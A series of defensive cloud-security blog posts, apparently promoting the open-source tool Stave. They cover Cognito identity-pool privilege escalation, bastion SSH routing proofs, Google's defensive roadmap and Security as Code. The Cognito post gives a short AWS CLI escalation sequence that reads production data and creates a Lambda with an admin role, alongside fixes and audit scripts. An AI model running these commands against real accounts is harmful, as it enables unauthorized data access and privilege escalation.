Your scanner checks the role and reports "overpermissioned." Your team triages it as a MEDIUM. It's on the backlog.

What the scanner didn't check: every authenticated user in your application can assume this role. Not just admins or just internal users. Every user who self-registered, confirmed their email, and logged in through the app's public-facing sign-up flow. That MEDIUM is an open privilege escalation path from any authenticated user to near-admin AWS access.

The trust model nobody audits

Cognito identity pools map authenticated users to IAM roles via role mappings. The simplest mapping and the default is:

{
  "authenticated": "arn:aws:iam::111122223333:role/Cognito_appAuth_Role"
}

Every user who authenticates through any configured identity provider (Cognito user pool, Google, Facebook, SAML) gets temporary credentials for Cognito_appAuth_Role. The role's trust policy allows cognito-identity.amazonaws.com to assume it. No per-user distinction or group-based mapping. Every authenticated user is equal in the eyes of IAM.

This is the gap: the identity provider has user groups, roles, and permissions. The identity pool flattens all authenticated users to one IAM role. Whatever that role can do, every user can do.

How escalation happens

The app's backend uses Cognito_appAuth_Role to access AWS services on behalf of the user. Over time, the role accumulated permissions:

Month 1: s3:GetObject on the app's public content bucket. Reasonable, the app serves images from S3.

Month 3: s3:PutObject on the user uploads bucket. Reasonable, users upload profile photos.

Month 6: dynamodb:* on the app's tables. The developer needed it for a feature sprint. The permission stayed.

Month 9: iam:PassRole for a Lambda function deployment feature. An internal tool required it. The condition restricting which roles could be passed was never added.

Month 12: s3:* on a new analytics bucket. The analytics pipeline needed to read and write. The resource was specified as arn:aws:s3:::analytics-* matching every bucket whose name starts with "analytics."

Month 18 (today): The role has broad S3 access, full DynamoDB access, and iam:PassRole. Any authenticated user can:

# Get credentials as any authenticated user
aws cognito-identity get-credentials-for-identity \
  --identity-id <auth-identity-id> \
  --logins '{"cognito-idp.us-east-1.amazonaws.com/us-east-1_xxx": "<id-token>"}'

# List all accessible buckets
aws s3 ls

# Read from the analytics bucket
aws s3 cp s3://analytics-prod/reports/revenue-2025.csv .

# Enumerate DynamoDB tables
aws dynamodb list-tables

# Read any table
aws dynamodb scan --table-name users-prod

# PassRole to a Lambda (potential for further escalation)
aws lambda create-function \
  --function-name escalate \
  --role arn:aws:iam::111122223333:role/AdminRole \
  --handler index.handler \
  --runtime nodejs18.x \
  --zip-file fileb://payload.zip

A regular user, someone who registered through the public sign-up form has access to revenue reports, production user data, and the ability to create Lambda functions that run with admin permissions. Because the authenticated role accumulated permissions over eighteen months and every authenticated user shares it.

What the scanner sees vs. what exists

Scanner check	Result	The actual question
Is this IAM role overpermissioned?	⚠️ MEDIUM	Who can assume this role?
Does this role have `iam:PassRole`?	⚠️ MEDIUM	Is PassRole scoped to specific target roles?
Is this identity pool correctly configured?	✅ PASS	Does the authenticated role mapping match the app's authorization model?
Are Cognito user groups configured?	✅ PASS	Are groups used for role differentiation in the identity pool?

Four checks, four independent results. The scanner sees an overpermissioned role (MEDIUM) and a correctly configured identity pool (PASS). It doesn't connect them: the correctly configured identity pool maps every authenticated user to the overpermissioned role. The PASS and the MEDIUM together are a CRITICAL.

The three ingredients

The escalation requires three configurations to coexist:

1. Default role mapping (no per-group differentiation)

{
  "IdentityPoolId": "us-east-1:abc123",
  "Roles": {
    "authenticated": "arn:aws:iam::111122223333:role/Cognito_appAuth_Role"
  },
  "RoleMappings": {}
}

Empty RoleMappings means Cognito uses the default authenticated role for every user. No group-based differentiation. An admin and a free-tier user get the same IAM permissions.

2. Overly broad authenticated role

{
  "PolicyDocument": {
    "Statement": [
      {
        "Effect": "Allow",
        "Action": ["s3:*", "dynamodb:*", "iam:PassRole"],
        "Resource": "*"
      }
    ]
  }
}

The role's policy is the accumulation of eighteen months of feature sprints. Each permission was added for a specific feature. None were removed when the feature was finished or the approach changed.

3. Self-registration enabled

{
  "UserPoolId": "us-east-1_xxxxx",
  "AdminCreateUserConfig": {
    "AllowAdminCreateUserOnly": false
  }
}

Anyone can create an account. The sign-up form is public. Email verification is the only gate. Once verified, the user authenticates and receives credentials for the overpermissioned role.

Each ingredient is independently defensible. Default role mapping is the Cognito default. Broad permissions accumulated gradually. Self-registration is a business requirement. The interaction between all three creates an open escalation path from public sign-up to near-admin AWS access.

What compound detection finds

Analyzing the full configuration consisting of identity pool, IAM role, and user pool together:

Individual findings:

[MEDIUM]  IAM role has s3:* without resource restriction
[MEDIUM]  IAM role has iam:PassRole without condition restriction
[MEDIUM]  IAM role has dynamodb:* without resource restriction
[LOW]     Identity pool uses default role mapping (no group differentiation)
[INFO]    Self-registration is enabled (business decision, not a violation)

Four findings across three severity levels. The IAM findings are MEDIUMs. They go on the backlog. The identity pool finding is LOW. It's a configuration note. Self-registration is INFO. It's a business requirement.

Compound finding:

[CRITICAL] Authenticated role escalation chain
           Self-registration enabled (any internet user can create an account)
           + default role mapping (every authenticated user gets the same role)
           + role has s3:*, dynamodb:*, iam:PassRole
           = any self-registered user has near-admin AWS access

           Attacker cost: $0 (create a free account, confirm email)
           Fix: Add role-based mapping using Cognito groups ($0, 2 hours)
           Impact: Each user group gets only the permissions it needs

The compound reframes five findings that collectively score MEDIUM-on-the-backlog into one CRITICAL-fix-this-week. The attacker cost is zero. Creating an account is free and public. The fix is free. Cognito groups and role mappings are a configuration change, not a code change.

The fix

Step 1: Create Cognito groups with scoped roles (the structural fix)

# Create groups with role mappings
aws cognito-idp create-group \
  --user-pool-id us-east-1_xxxxx \
  --group-name Admins \
  --role-arn arn:aws:iam::111122223333:role/App_AdminRole

aws cognito-idp create-group \
  --user-pool-id us-east-1_xxxxx \
  --group-name Users \
  --role-arn arn:aws:iam::111122223333:role/App_UserRole

Step 2: Configure role mapping in the identity pool

aws cognito-identity set-identity-pool-roles \
  --identity-pool-id us-east-1:abc123 \
  --roles '{"authenticated": "arn:aws:iam::111122223333:role/App_UserRole"}' \
  --role-mappings '{
    "cognito-idp.us-east-1.amazonaws.com/us-east-1_xxxxx": {
      "Type": "Token",
      "AmbiguousRoleResolution": "Deny"
    }
  }'

Now the identity pool reads the user's Cognito groups from the ID token and maps to the corresponding role. Admins get App_AdminRole. Regular users get App_UserRole. Users not in any group get denied (AmbiguousRoleResolution: Deny).

Step 3: Scope each role's permissions

# App_UserRole: only what regular users need
aws iam put-role-policy \
  --role-name App_UserRole \
  --policy-name user-policy \
  --policy-document '{
    "Statement": [{
      "Effect": "Allow",
      "Action": ["s3:GetObject", "s3:PutObject"],
      "Resource": "arn:aws:s3:::user-uploads-prod/${cognito-identity.amazonaws.com:sub}/*"
    }]
  }'

The ${cognito-identity.amazonaws.com:sub} substitution scopes each user's S3 access to their own prefix. No user can read another user's uploads. No user can access the analytics bucket. iam:PassRole and dynamodb:* are removed from the user role entirely.

How to check your own environment

# For each identity pool, check the role mapping
for pool in $(aws cognito-identity list-identity-pools --max-results 20 \
  | jq -r '.IdentityPools[].IdentityPoolId'); do

  roles=$(aws cognito-identity get-identity-pool-roles \
    --identity-pool-id "$pool" 2>/dev/null)

  auth_role=$(echo "$roles" | jq -r '.Roles.authenticated // "none"')
  mappings=$(echo "$roles" | jq -r '.RoleMappings | length')

  echo "Pool: $pool"
  echo "  Auth role: $auth_role"
  echo "  Role mappings: $mappings"

  if [ "$mappings" -eq 0 ] && [ "$auth_role" != "none" ]; then
    echo "  ⚠️  DEFAULT MAPPING — every authenticated user shares one role"

    # Check what that role can do
    role_name=$(echo "$auth_role" | grep -oP '(?<=role/)[^/]+$')
    policies=$(aws iam list-attached-role-policies --role-name "$role_name" \
      | jq -r '.AttachedPolicies[].PolicyName')
    inline=$(aws iam list-role-policies --role-name "$role_name" \
      | jq -r '.PolicyNames[]')

    echo "  Attached policies: $policies"
    echo "  Inline policies: $inline"

    for p in $inline; do
      actions=$(aws iam get-role-policy --role-name "$role_name" --policy-name "$p" \
        | jq -r '.PolicyDocument.Statement[].Action | if type == "array" then .[] else . end' 2>/dev/null)
      for action in $actions; do
        case "$action" in
          *:*|*\**) echo "  🔴 BROAD ACTION: $action" ;;
          iam:PassRole*) echo "  🔴 PASSROLE: $action" ;;
        esac
      done
    done
  fi
  echo ""
done

If any pool prints DEFAULT MAPPING with BROAD ACTION or PASSROLE, you have the escalation path. Every user who self-registers gets those permissions.

The accumulation problem

This vulnerability doesn't start as a vulnerability. It starts as a correctly scoped role with minimal permissions. It becomes a vulnerability through accumulation by one permission per feature sprint, none removed when the feature ships.

The accumulation is invisible to point-in-time scanners because each permission addition is individually small and individually reasonable. Nobody adds s3:* on day one. They add s3:GetObject on one bucket in month one, s3:PutObject on another in month three, and by month eighteen the permission set has grown to cover actions and resources that were never part of the original design.

The compound check doesn't just catch the current state. It catches the interaction between the accumulated permissions and the trust model that maps every user to those permissions. That interaction turns eighteen months of individually reasonable permission additions into an open escalation path from public sign-up to admin-equivalent access.

No single-resource check catches accumulation. No single-resource check connects the accumulated role to the identity pool that maps every user to it. The compound is the finding. Everything else is backlog.

The scenarios in this article are modeled on real configurations found in production Cognito deployments and IAM security assessments. The analysis uses Stave, an open-source static analysis tool that evaluates cloud configurations via CEL predicates and exports standardized facts for consumption by external reasoning engines all from air-gapped snapshots with no cloud credentials required.

Your Bastion Architecture Is a Claim. Here's How to Prove It.

Bala Paranj — Mon, 07 Sep 2026 12:15:07 +0000

Every organization with a bastion host makes the same claim: "All SSH connections to production go through the bastion." Nobody proves it.

The bastion exists. It has a hardened security group. It logs sessions. The architecture diagram shows SSH flowing through it. The compliance report says bastion-mediated access is enforced.

But has anyone verified that production instances ONLY accept SSH from the bastion's security group? That no VPC peering connection creates a lateral path? That no security group rule with a broad internal CIDR (10.0.0.0/8) on port 22 silently bypasses the entire bastion architecture?

The answer is usually no. The claim is an architectural assumption, not a verified property. The difference between those two things is the difference between "we have a bastion" and "all SSH routes through it."

The verification gap

Standard security scanners check security group rules one at a time. They catch SSH open to 0.0.0.0/0 — port 22 from the internet. Every benchmark has this check. Every tool catches it.

They don't catch SSH from 10.0.0.0/8. That's an internal CIDR. It's not "open to the internet." It passes every existing check. But it allows any instance in the VPC and in any peered VPC whose CIDR falls within 10.0.0.0/8 to SSH directly to production, bypassing the bastion entirely.

The difference: checking a security group rule is a property of one resource. Proving that all SSH routes through the bastion is a property of the entire network graph including every security group, route table, peering connection, Transit Gateway route and VPC endpoint. No single-resource check can answer the graph-level question.

Formal proof

Instead of checking each security group rule and hoping you covered them all, you ask a different question: "Does any SSH path exist from any non-bastion source to any production host that doesn't traverse a bastion?"

That question has a definitive answer. Either such a path exists or it doesn't. If it exists, the proof engine produces the specific path including the exact source, destination, security group rule, and network route that creates the bypass. If it doesn't exist, you have a mathematical proof that the bastion routing property holds for the entire network configuration.

Not a scan result or a best-effort check. A proof.

When no bypass exists

═══════════════════════════════════════════
 Bastion SSH Routing Proof
═══════════════════════════════════════════

Scope: 14 production hosts across 3 VPCs
Bastion: 2 bastion hosts (bastion-east, bastion-west)
Entry points enumerated: 47
SSH paths to production: 23

PROOF: All SSH paths to production traverse a bastion host.
Verified in 0.31s. No bypass path exists.

Twenty-three SSH paths exist to production. Every one goes through a bastion. The tool didn't check 23 paths individually. It proved the property holds for ALL paths, including any path the enumeration might have missed. The proof is over the network configuration, not over a list of paths.

When a bypass exists

═══════════════════════════════════════════
 Bastion SSH Routing Proof — BYPASS FOUND
═══════════════════════════════════════════

Scope: 14 production hosts across 3 VPCs
Bastion: 2 bastion hosts (bastion-east, bastion-west)

COUNTEREXAMPLE:
  Source:      10.1.5.47 (dev-workstation, vpc-dev)
  Destination: 10.0.2.12 (prod-db-primary, vpc-prod)
  Port:        22
  Path:        dev-workstation → [vpc-peering pcx-abc] → prod-db-primary
  Bypass:      VPC peering pcx-abc connects vpc-dev to vpc-prod.
               Security group sg-prod-db allows SSH from 10.1.0.0/16.
               No bastion in the path.

REMEDIATION:
  Replace SSH ingress 10.1.0.0/16 on sg-prod-db with sg-bastion-east.

The tool didn't scan every security group looking for SSH rules. It found a specific path through a VPC peering connection that no individual SG check would catch. Because the SG rule (10.1.0.0/16 on port 22) isn't "SSH from the internet." It's SSH from an internal CIDR that happens to include the dev VPC on the other side of a peering connection.

The counterexample names the exact source, destination, path, security group rule, and the VPC peering connection that enables the bypass. The remediation is in the counterexample: replace the CIDR rule with a security group reference to the bastion's SG.

Catching the bypass

Pattern 1: Broad internal CIDR

The most common bypass. A production security group allows SSH from 10.0.0.0/8 or the VPC's CIDR range. Intended to allow "internal access." It allows any instance in the network including compromised instances, developer laptops connected via VPN, and instances in peered VPCs.

Every standard scanner passes this rule because it's not 0.0.0.0/0. The proof fails because a path exists from a non-bastion source to production.

Pattern 2: VPC peering or Transit Gateway

Two VPCs are peered such as prod and dev. The peering was created for an application integration. Nobody checked whether SSH is blocked across the peering connection. A dev workstation can SSH to a production database through the peering connection.

No individual security group check catches this because each SG is correct within its VPC. The bypass is in the network topology. The peering connection creates a route that the SGs don't deny.

Pattern 3: CIDR instead of SG reference

Legitimate bastion architectures use security group references: "allow SSH from sg-bastion." This binds the rule to the bastion's identity, not its IP. When someone replaces the SG reference with the bastion's subnet CIDR (10.0.1.0/24), the rule works. But now any instance in that subnet can SSH to production, not just the bastion. A new instance launched in the bastion subnet bypasses the bastion even though it's in the "bastion subnet."

The proof catches this because the CIDR-based rule creates a path from non-bastion sources (any instance in the CIDR) to production. The SG-reference rule wouldn't, because only traffic from the bastion's SG matches.

Why this matters beyond SSH

The bastion routing proof is one instance of a general pattern: proving that a security property holds over the entire network configuration, not just checking individual rules.

The same approach verifies:

Does any path exist from the internet to a database? Not "is the database's security group open to the internet" (which every scanner checks) but "is there ANY sequence of hops through a load balancer, an application server, a peering connection, a Transit Gateway that creates a network path from a public endpoint to the database's port?"

Does any path exist from a sandbox to production? Same question as the bastion proof, applied to the isolation intent discussed in a previous article. A sandbox VPC tagged as isolated should have no network path to production VPCs. The proof verifies this over the entire topology, including indirect paths through Transit Gateway or peering.

Does any egress path exist from a restricted VPC? A VPC with no internet gateway might still have egress through a peered VPC's NAT gateway, a Transit Gateway route to an internet-facing VPC, or a PrivateLink connection to a cross-account service. The proof finds any egress path that exists, including indirect ones.

Each of these is a graph-level property that no individual resource check can answer. The proof operates over the entire network configuration simultaneously. When it says UNSAT (no path exists), that's a guarantee about the graph, not a summary of individual checks.

The compliance value

Compliance frameworks require "bastion-mediated access" or "controlled administrative access" or "privileged access management." Auditors check the architecture diagram and the bastion's configuration. They don't verify that the rest of the fleet enforces bastion-only access.

The proof output is compliance evidence:

PROOF: All SSH paths to production traverse a bastion host.
Scope: 14 production hosts, 3 VPCs, 47 entry points.
Verified: 2026-07-30T14:00:00Z
Duration: 0.31s
Result: UNSAT (no bypass exists)

This is a stronger compliance artifact than a scan report. A scan report says "we checked 47 security group rules and all look fine." The proof says "we verified that no SSH path to production exists that doesn't traverse a bastion including paths through peering connections, Transit Gateway routes, and any security group rule, not just the ones we thought to check."

When the auditor asks "how do you know all SSH goes through the bastion?" the answer is a formal proof, not a checklist.

Continuous verification

The proof runs on every snapshot. Configuration drifts. A VPC peering connection added for a migration. A security group rule widened for debugging. A Transit Gateway route propagated during a merge. Each creates a potential bypass. Each is caught the next time the proof runs.

The first run establishes the baseline: UNSAT, bastion routing holds. Every subsequent run either confirms it still holds (UNSAT) or produces the specific change that broke it (SAT with counterexample). The operator doesn't monitor security group changes and try to reason about whether each change affects bastion routing. The proof does that reasoning for them over the entire graph, every time.

If a developer adds 10.1.0.0/16 to a production security group on port 22, the next proof run produces: "BYPASS FOUND: dev-workstation can reach prod-db-primary via this new rule." The developer didn't think they were breaking bastion routing. They were adding "internal access." The proof knows that "internal access" on port 22 is a bastion bypass.

Network entry point enumeration and bastion routing proof are implemented in Stave. The proof uses satisfiability checking over the network configuration graph, the same technique used by Azure's network verification (Jayaraman et al., NSDI 2015) and BGP configuration verification (Beckett et al., SIGCOMM 2017), applied to cloud security group and VPC topology. Apache 2.0.

Google Published the Defensive Roadmap. Here's What It Looks Like at the Infrastructure Layer.

Bala Paranj — Sun, 06 Sep 2026 12:27:08 +0000

Google Cloud's COO Francis deSouza and Mandiant published a defensive roadmap for the AI-accelerated vulnerability landscape. The core argument: AI-enabled adversaries can identify, chain, and weaponize weaknesses faster than traditional vulnerability management was designed to respond. The traditional window between disclosure and exploitation is gone. The traditional concept of severity is shifting. AI can chain low-level vulnerabilities into critical breach paths.

The roadmap has seven advanced modernization priorities and seven foundational steps. It's comprehensive. It's also almost entirely focused on patching, scanning, and runtime detection. The infrastructure configuration layer where blast radius is determined before any attack arrives gets one paragraph about "posture management" and a mention of Wiz.

That paragraph deserves an entire article, because the compound risk lives in the configuration layer.

Google's Roadmap Priorities vs. Infrastructure Reality

#	Google's Priority	What It Means	What Exists Today	What Stave Adds
1	Secure Your Code / CI/CD	CI/CD pipelines are attack targets — stolen credentials from build environments enable ransomware	Semgrep (code), TruffleHog (secrets), Wiz (cloud posture) — none detect long-lived CI/CD credentials composing with overprivileged roles	Detects long-lived AWS + AI-provider keys in CI/CD. Compound chains model the post-theft lifecycle: stolen key + admin role + no MFA = critical path
2	Automated Security Operations	SOC must operate at AI speed — manual triage can't keep up	Google SecOps, Splunk, CrowdStrike — runtime detection and response	Out of scope. Infrastructure verification is pre-attack, not runtime
3	Reduce Attack Surface	Segmentation + identity controls must limit blast radius when edge devices are compromised	Wiz (posture), Prowler (checks) — evaluate settings individually, not compositions	Compound chains prove whether dangerous states are reachable. Public IP + IMDSv1 + admin role = one critical chain, not three separate findings
4	Continuous Posture Management	Unidentified assets are a blindspot — static spreadsheets don't scale	Wiz, Prisma Cloud, AWS Config — continuous scanning but no input completeness reporting	`stave readiness` reports what % of infrastructure is observed. `stave gaps` names missing properties and what each unlocks, in priority order
5	Expand Scanning Coverage	Every OS, endpoint, and server must be scanned for vulnerabilities	Qualys, Tenable, Rapid7 — OS and network vulnerability scanning	Out of scope. Infrastructure configuration, not OS/firmware vulnerabilities
6	Secure AI Agents / SAIF	AI agents with elevated permissions create a new attack surface — fine-grained IAM is critical	Wiz (cloud posture for AI), Model Armor (prompt filtering) — no compound detection across agent + role + guardrail + logging	49 AI agent controls. Compound chain: broad execution role + no guardrail + no logging = one critical finding. Ghost detection for deleted Lambda functions agents still reference
7	Formalize Remediation SLAs	SLAs must be severity-based with emergency processes for active exploitation	Jira SLA tracking, Wiz ticket routing — no temporal context on findings	Time-aware evaluation: how long has this been misconfigured? Drift detection: what changed between snapshots? Observation freshness: is this data current enough to trust?

The gap: Google's roadmap acknowledges AI can chain low-level vulnerabilities into critical paths. No tool in the roadmap detects that chaining at the infrastructure configuration layer. Stave fills this gap with 711 compound chains across 129 AWS service domains.

Compound risk

Buried in the closing paragraph:

This is Google acknowledging the compound risk problem. A local-only exploit means nothing in isolation. Combined with a misconfigured instance profile, a missing guardrail, and disabled logging, it means full breach. The severity of the individual vulnerability is misleading. The severity of the composition matters.

The roadmap's recommendation: use "AI-enabled scanning tools to detect groups of weaknesses that may appear minor on their own but could be chained together for exploitation."

That's compound chain detection. It exists. It ships in open source. Here's what it looks like at the infrastructure layer.

Priority 1: Secure your code — CI/CD as an attack surface

The roadmap says: "Security controls should cover build runners, CI/CD pipelines, and other automated execution mechanisms, which are increasingly attractive targets for threat actors."

Google's own GTIG report from last month proved why. TeamPCP compromised LiteLLM, an AI gateway library used in CI/CD pipelines, and extracted AWS access keys and GitHub tokens from build environments using the SANDCLOCK credential stealer. The stolen credentials were sold to ransomware groups.

The attack technique was a supply chain compromise. The blast radius was determined by a configuration property: were those CI/CD credentials long-lived access keys, or short-lived OIDC federation tokens?

If the pipeline used OIDC federation, the stolen credential expires in minutes. The attacker gets nothing useful. If the pipeline stored a long-lived AWS access key as a repository secret, the attacker has persistent access until someone manually revokes it which may never happen if nobody notices the theft.

One configuration property. One check. The difference between "contained incident" and "ransomware deployment."

Infrastructure verification detects this before the supply chain compromise. A control that fires when a CI/CD pipeline uses long-lived AWS access keys instead of OIDC federation catches the vulnerability while it's still a configuration choice, not a breach.

Extend this to AI-provider API keys. The same pipeline that stores AWS keys as long-lived secrets often stores Anthropic, OpenAI, or Gemini API keys the same way. The GTIG report described threat actors pooling stolen API keys through relay services. A control that detects long-lived AI-provider keys in CI/CD secrets catches the same pattern for a different credential type.

Now compose the two. A long-lived credential in CI/CD (the initial access vector) plus an admin-equivalent IAM role (the blast radius multiplier) plus no MFA on the role (the persistence mechanism). Three individually-rated findings maybe two highs and a medium. The compound: a single compromised dependency gives the attacker permanent admin access to the AWS account with no second factor and no rotation backstop. That's a critical compound chain, not three separate findings.

Priority 3: Reduce attack surface — blast radius containment

The roadmap says: "Network segmentation and identity-based access controls should be in place so that if an edge device is compromised through a zero-day exploit, the blast radius is limited and easier to contain."

This is the infrastructure verification thesis stated by Google. The zero-day itself is unknowable before disclosure. The infrastructure conditions that determine blast radius are knowable right now, on a static configuration snapshot.

An EC2 instance with a public IP, IMDSv1 enabled, and an admin-equivalent instance role is a compound chain. Any SSRF vulnerability in any application on that instance gives the attacker full AWS account access via the metadata endpoint. The individual settings might each pass their check: the public IP is intentional (it's a web server), the instance role has the permissions the application needs (it grew over time), and IMDSv1 was never disabled (it was the default when the instance launched).

Each setting passes. The composition is catastrophic. A compound chain that composes public reachability + SSRF-exploitable metadata + admin-equivalent credentials names the exact attack path and fires before any vulnerability is discovered.

The roadmap calls this "reducing attack surface." Infrastructure verification calls it "proving that dangerous states are unreachable." The distinction matters: reducing attack surface is aspirational (you try to minimize exposure). Proving unreachability is deterministic (the state is reachable or it isn't, and the proof is reproducible).

Priority 6: Secure AI agents

The roadmap says: "Locking down connections that AI systems can establish, with fine-grained IAM roles, is critical to prevent insecure plugin use threats."

This maps directly to the SAIF taxonomy's two risk categories:

Insecure Integrated Component (IIC): A compromised dependency or malicious skill gains access through the agent's elevated permissions. The GTIG report documented weaponized OpenClaw skills executing unauthorized code. The infrastructure question: what can the agent's execution role do?

Three configuration properties determine the blast radius of a compromised agent: execution role scope, guardrail presence, and invocation logging. When all three fail simultaneously — broad Lambda invoke permissions, no content-filtering guardrail, no audit trail — the compound effect is worse than any individual misconfiguration. The agent can invoke any function, access any data the role permits, and operate without triggering any alert.

A scanner checking each property independently reports three separate findings, maybe three highs. A compound chain that composes all three fires one critical finding that names the exact failure pattern: "This agent has broad reach, no content filter, and no audit trail. A compromised skill or prompt injection operates with full access and zero detection."

Rogue Actions (RA): An AI agent with elevated permissions executes unauthorized commands. The infrastructure check: does the execution role follow least privilege? Does the agent have permissions it doesn't need?

An agent execution role that can invoke any Lambda function in the account, read from any S3 bucket, and access secrets. That's overprivileged by definition. The agent only needs to invoke 2 specific functions and read from 1 bucket. The other 200 functions and 50 buckets are collateral damage if the agent is compromised. Permission scope controls detect this overprivilege on the static configuration, before any rogue action occurs.

Priority 4: Continuous posture management

The roadmap says: "Unidentified assets are a major blindspot for organizations. Static spreadsheets and manual asset tracking are no longer viable."

This is the input quality problem. Every verification tool's output quality depends on its input quality. If the collector didn't capture an asset, no control can evaluate it. If the observation is missing a critical property, the control that reads it silently doesn't fire. The silence looks like safety when it means "unchecked."

A readiness assessment turns silence into signal. Before running evaluation, the tool reports: "47 assets observed across 8 services. 66 services not in the snapshot. 88% of compound chains cannot fire with current input. The single highest-value action: add data_classification tags to 19 S3 buckets — unlocks 98 compound chains including PHI exposure detection."

A field-level gap analysis goes deeper: for each observed asset, which properties are absent, what controls and chains does each property unlock, and what's the priority order for adding them? "19 of 22 buckets lack data_classification. 35 of 35 IAM roles lack role-type tags. Fix these two gaps to unlock 143 compound chains (24% of detection capability). Estimated time: 30 minutes."

The roadmap says maintain a continuously updated inventory. Infrastructure verification says: know exactly what your inventory is missing, what it costs in detection capability, and what to fix first.

Priority 7: Remediation SLAs — time as a dimension

The roadmap says: "Define remediation SLAs based on severity, exposure, and asset criticality."

Most tools report findings without temporal context. "This bucket is public. Severity: High." Is it a new finding? Has it been public for 6 hours or 6 months? Did someone change it yesterday, or has it been this way since the account was created?

Time-aware evaluation tracks how long each misconfiguration has persisted. The same public bucket at 6 hours and 6 months tells different stories — different SLA urgency, different compliance exposure, different remediation priority. Drift detection compares snapshots and flags configuration changes: "This security group was restrictive yesterday and is open today." Observation freshness detects when the data itself is too old to trust: "These findings are based on a snapshot from 90 days ago."

The roadmap says formalize SLAs. Infrastructure verification says provide the temporal data that makes SLAs enforceable: when the misconfiguration started, how long it has persisted, whether it's getting worse, and whether your snapshot is current enough to trust.

Two tables, two questions

Google's GTIG report compares vulnerability discovery tools such as SAST, DAST, manual expert review, and frontier LLMs across flaw categories from memory corruptions to semantic logic flaws. That table answers: "Who finds the vulnerability?"

A second table answers a different question: "What determines the damage when it's exploited?"

Blast Radius Factor	SAST	DAST	Expert Review	Frontier LLM	Stave
Is the exploited service's role least-privilege?	❌	❌	⚠️ Sometimes	❌	✅
Does the credential rotate within its declared TTL?	❌	❌	❌	❌	✅
Is lateral movement blocked by segmentation?	❌	⚠️ Can test	⚠️ If scoped	❌	✅
Do multiple low findings compose into a critical path?	❌	❌	✅ Best at this	⚠️ Emerging	✅
Is the AI agent guardrailed if a skill is compromised?	❌	❌	⚠️ If scoped	❌	✅
Are deleted resource references cleaned up?	❌	❌	❌	❌	✅
Is the proof mathematical (SAT/UNSAT)?	❌	❌	❌	❌	✅

A frontier LLM discovers a hardcoded trust assumption in application code. The severity depends on the infrastructure underneath. An auth bypass on a service with a least-privilege role, rotating credentials, and audit logging is a contained incident. The same bypass on a service with an admin-equivalent role, stale credentials, and no logging is a full breach. The code vulnerability is identical. The blast radius is determined by the infrastructure layer.

The compound risk gap in the roadmap

The roadmap's seven advanced priorities are sound. They cover code security, automated SOC, attack surface reduction, posture management, scanning coverage, device patching, and AI agent security. Each priority is addressed by tools in Google's ecosystem. Wiz for posture, SecOps for SOC, Model Armor for AI agents.

What's missing is the layer between individual findings and compound risk. Every tool in the roadmap evaluates settings independently. The roadmap itself acknowledges that "AI can chain together multiple low-level vulnerabilities". But none of the recommended tools detect that chaining at the infrastructure configuration layer.

This is the gap compound chain detection fills. Not replacing any tool in the roadmap — complementing them. The scanner finds the individual settings. The compound chain detector finds the compositions that make those settings dangerous together. The scanner says "three highs." The compound chain says "one critical path from unauthenticated access to patient data through three individually-correct configurations."

The roadmap says the problem exists. The tools it recommends don't solve it at the infrastructure layer. The solution exists in open source.

What's out of scope

Infrastructure verification doesn't address four of the roadmap's priorities:

Automated Security Operations — runtime detection and response. Different product category. A Stave finding says "this configuration is unsafe." A SOC alert says "this attack is happening." Both are needed. Neither replaces the other.

Vulnerability scanning — code and OS-level scanning. Semgrep, OSS-Fuzz, Qualys territory. Infrastructure verification checks configurations, not code.

Network device patching — firmware updates for routers, switches, firewalls. Operational IT discipline, not configuration verification.

Model Armor / prompt injection defense — model-level safety. The model vendor's responsibility. Infrastructure verification checks whether a guardrail IS configured, not whether it IS EFFECTIVE against a specific jailbreak.

The honest scope: infrastructure verification addresses three of seven advanced priorities directly (CI/CD security, blast radius reduction, AI agent security) and provides temporal data for a fourth (remediation SLAs). The other three are different product categories.

The five-minute test

If you're reading the Google roadmap and wondering how your infrastructure stacks up on the compound risk dimension:

git clone https://github.com/sufield/stave.git
cd stave
bash examples/demo-ai-security/run.sh

The demo shows five AI agent findings composing into three CRITICAL compound chains. The exact failure pattern the roadmap's "Secure AI Agents" priority describes. Broad execution role + no guardrail + no logging = one critical compound, not three separate findings.

Then run the readiness assessment against your own data:

stave readiness --observations ./your-snapshots/
stave gaps --observations ./your-snapshots/

The readiness report tells you what percentage of your infrastructure Stave can evaluate. The gaps report tells you which missing properties to add first and what they unlock. Both run on static snapshots. No cloud credentials leave your machine.

Google published the defensive roadmap. The infrastructure configuration layer where blast radius is determined, where compound risk lives, where the proof that dangerous states are unreachable either exists or doesn't is the part of that roadmap you can verify today.

Stave is an open-source intent verification engine for cloud infrastructure. 2,650+ controls across 74 AWS service domains, 585 compound chains, 49 AI agent controls, 40 per-asset-type JSON Schemas, 9 independent reasoning engines. All analysis runs on air-gapped snapshots. Try it: bash examples/demo-ai-security/run.sh

Security as Code Checks Rules. What Proves Properties?

Bala Paranj — Sat, 05 Sep 2026 05:16:16 +0000

If you had read the article on Google Has 1,000 Platform Engineers Making Security Invisible. You Have Zero. Here's How Agents Close the Gap., you might be thinking: "Is what you're describing just Security as Code?"

It starts there. But it doesn't end there. Compound breaches, the Capital One pattern, the multi-hop privilege escalation, the toxic combination live undetected in the gap between where Security as Code ends and where the next step begins.

What Security as Code does well

Security as Code brought a discipline to cloud security that didn't exist before: security policies defined as machine-readable code, version-controlled alongside infrastructure, automatically enforced in CI/CD, testable, reviewable, auditable.

Before Security as Code, security checks were manual audits, spreadsheet checklists, and annual penetration tests. After Security as Code, every pull request runs against a policy engine. Every deployment is gated by automated checks. Every rule is in version control with a review history.

This was a genuine paradigm shift. Tools like OPA/Rego, Checkov, Sentinel, Semgrep, tfsec, and Cedar moved security from a periodic human activity to a continuous automated process. The impact is real and substantial.

What Security as Code checks

Every Security as Code tool does the same thing at the structural level: it evaluates whether a specific configuration matches a specific rule.

Input:   One configuration (a Terraform plan, an IAM policy, a K8s manifest)
Rule:    One pattern (is this bucket public? is this port open? is this role admin?)
Output:  Yes or no. This configuration matches (or doesn't match) this rule.

The evaluation is per-resource, per-rule. Checkov checks whether THIS S3 bucket has public access enabled. OPA checks whether THIS Kubernetes pod runs as root. Semgrep checks whether THIS code path has unsanitized input. Each check is a pattern match: does the configuration text match the rule pattern?

This catches a large class of misconfigurations. The class it catches: individual resources with individual misconfigurations that are visible in the text of the configuration.

What Security as Code doesn't check

The class it DOESN'T catch: properties that emerge from the interaction between multiple resources.

The Capital One breach (2019) had five components. Each was individually configured. Each would pass a per-resource security check. The breach existed in the COMPOSITION:

Component 1: Public-facing WAF                   → correct for its purpose
Component 2: EC2 instance behind the WAF         → correct for its purpose
Component 3: IAM role on the EC2 instance        → correct for its purpose
Component 4: S3 bucket with customer data        → correct for its purpose
